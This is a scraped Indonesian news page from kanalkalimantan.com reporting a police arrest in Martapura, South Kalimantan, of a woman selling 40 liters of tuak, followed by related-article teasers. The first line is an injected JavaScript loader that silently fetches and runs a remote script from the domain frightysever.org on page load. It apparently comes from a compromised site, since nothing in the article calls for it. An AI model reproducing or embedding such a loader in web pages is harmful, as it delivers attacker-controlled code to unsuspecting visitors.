(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Personel Polsek Martapura Kota mengamankan seorang perempuan yang kedapatan menjual minuman oplosan jenis tuak, Kamis (19/11/2020) pukul 09:00 Wita. Ibu rumah tangga adalah BA (42) diamankan polisi di kediamannya di jalan Damai RT 002 RW 001, Desa Sungai Sipai, Kecamatan Martapura, Kabupaten Banjar.
Kapolsek Martapura Kota AKP Suroto melalui Kanit Reskrim Polsek Martapura Kota Iptu B Munthe mengatakan, kalau pihaknya telah mengamankan seorang ibu rumah tangga yang kedapatan menjual minuman oplosan jenis tuak di sebuah rumah.
“Kami telah mengamankan satu orang ibu rumah tangga berusia 42 tahun di rumahnya, karena kedapatan menjual tuak,” ujar Munthe kepada Kanalkalimantan.com.
Dari dalam rumah pelaku itu, polisi menemukan barang bukti minuman oplosan tuak sebanyak 40 liter di dalam dua jerigen yang sudah terbungkus oleh plastik.
“Dari dalam rumah pelaku, kita berhasil mengamankan, sebanyak 40 liter tuak di dalam dua jerigen 20 liter yang sudah terbungkus plastik gula 1 kilogram,” tuturnya.
Tertangkapnya pelaku saat polisi melaksanakan giat Operasi Sikat Intan 2020, setelah mendapat laporan dari masyarakat kalau di daerah Sungai Sipai ada orang yang menjual minum-minuman oplosan tuak.
“Saat kita melaksanakan Operasi Sikat Intan, kita menenerima laporan dari masyarakat kalau ada orang yang menjua tuak. Mendapat laporan tersebut, kita langsung bergerak cepat menunju TKP,” ucap Munthe.
Saat ini pelaku sudah kita amankan di Mapolsek Martapura Kota guna mempertanggung jawabkan perbuatanya. Pelaku dijerat dengan pasal Tipiring Perda Kabupaten Banjar nomor 6 tahun 2017 tentang perubahan atas Perda nomor 15 tahun 2014 tentang pengaturan minuman beralkohol, penyalahgunaan alkohol dan obat-obatan zat adiktif lainnya. (kanalkalimantan.com/wahyu)
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.